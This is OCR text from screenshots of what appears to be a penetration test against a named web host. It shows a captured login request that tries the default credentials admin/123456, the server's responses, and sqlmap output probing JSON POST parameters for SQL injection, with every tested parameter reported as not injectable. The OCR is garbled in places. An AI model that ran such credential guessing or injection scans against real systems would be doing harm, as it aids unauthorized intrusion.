8 Sec~Ch-Ua-Mobile: 20

9 Eagleeye-Traceid: cl12680b8177398986820310014a6fe

10 Eagleeye-Sessionid: 6wmlzmdOysbj39rjt3eR je5p4m80

11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/146.0.0.0 Safari/537.36

12 Accept: application/json, text/plain, */*

13 Content-Type: application/x-www-form-urlencoded

14 Eagleeye-Pappname: dvg25czqks@5589182bc74abfe

15 Origin: https://zhdc. shoutonghuicheng. cn

16 Sec-Fetch-Site: same-origin

17 Sec-Fetch-Mode: cors

18 Sec-Fetch-Dest: empty

19 Referer: https://zhdc. shoutonghuicheng. cn/dist/

20 Accept-Encoding: gzip, deflate

21 Accept-Language: zh-CN,zh;q=0.9

22 Priority: u=l, i

23 Connection: close

24

5 account=admin&pwd=123456

Response

Pretty Raw  Hex

1 HTTP/1.1 200 OK
2 Date: Fri, 20 Mar 2026 06:57:48 GMT

3 Content-Type: application/json; charset=utf-8
4 Connection: close

5 X-Content-Type-Options: nosniff

6 X-XSS-Protection: 0

7 Content-Security-Policy: manifest-src 'self'

8 X_NO_CACHE: 1

9 Content-Length: 81

Render

10
1 {
"code": 1,
"message": "Ik &R EHEIR",
"data": [
1,
"trace_id": "69bcefec37422"

}





image2.png
Pretty Raw  Hex  Render

1 HTTP/1.1 200 OK

2 Date: Fri, 20 Mar 2026 06:58:24 GMT

3 Content-Type: application/json; charset=utf-8
4 Connection: close

5 X-Content-Type-Options: nosniff

6 X-XSS-Protection: 0

7 Content-Security-Policy: manifest-src 'self'
8 X_NO_CACHE: 1

9 Content-Length: 81

10
1 {
"code": 1,
"message": "Ik F R EHHIR",
"data": [
]

"trace_id": "69bcf010b95eb"
i




image3.png
Pretty Raw  Hex  Render

1 HTTP/1.1 200 OK
2 Date: Fri, 20 Mar 2026 06:58:24 GMT
3 Content-Type: application/json; charset=utf-8
4 Connection: close
5 X-Content-Type-Options: nosniff
6 X-XSS-Protection: 0
7 Content-Security-Policy: manifest-src 'self'
8 X_NO_CACHE: 1
9 Content-Length: 81
10
1 {
"code": 200,
"message": " & I %"

b
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52]
52]
52]
53]

:53]
:54]
:54]
59:
59:
:56]
:56]
59:

55]
55]

561

5 CaWindows\system3:

[1NFO] testing
[1nFO] testing
[1nFO] testing
[1nFO] testing

x [ - o x

*PostgresQL > 8.1 AND time-based blind'

'Microsoft SQL Server/Sybase time-based blind (IF)'
‘Oracle AND time-based blind'

'Generic UNION query (NULL) - 1 to 10 columns'

[WARNING] (custom) POST parameter 'JSON pageSize' does not seem to be injectable
[WARNING] (custom) POST parameter 'JSON identityType' does not appear to be dynamic
[WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON identityType' might not be injectab

[1NFO] testing
[1nFO] testing
[1nFO] testing
[1nFO] testing
[1nFO] testing
[1nFO] testing
[1nFO] testing
[1nFO] testing
[1nFO] testing
[1nFO] testing
[1nFO] testing
[1nFO] testing
[1nFO] testing
[1nFO] testing
[1nFO] testing
[1nFO] testing

for SQL injection on (custom) POST parameter 'JSON identityType'

"AND boolean-based blind — WHERE or HAVING clause'

*Boolean-based blind - Parameter replace (original value)'

"MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
*PostgreSQL AND error-based - WHERE or HAVING clause'

'Microsoft SQL Server/Sybase AND error-based — WHERE or HAVING clause (IN)'
'Oracle AND error-based - WHERE or HAVING clause (XMLType)'

‘Generic inline queries'

'PostgresQL > 8.1 stacked queries (comment)'

'Microsoft SQL Server/Sybase stacked queries (comment)'

‘Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'

'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'

*PostgresQL > 8.1 AND time-based blind'

'Microsoft SQL Server/Sybase time-based blind (IF)'

‘Oracle AND time-based blind'

'Generic UNION query (NULL) - 1 to 10 columns'

[WARNING] (custom) POST parameter 'JSON identityType' does not seem to be injectable

[ERITICAL] all

tested parameters do not appear to be injectable. Try to increase values for '—level'/'--risk

' options if you wish to perform more tests
[14:59:56] [WARNING] your sqlmap version is outdated

[*] ending @ 14:59:56 /2026-03-20/




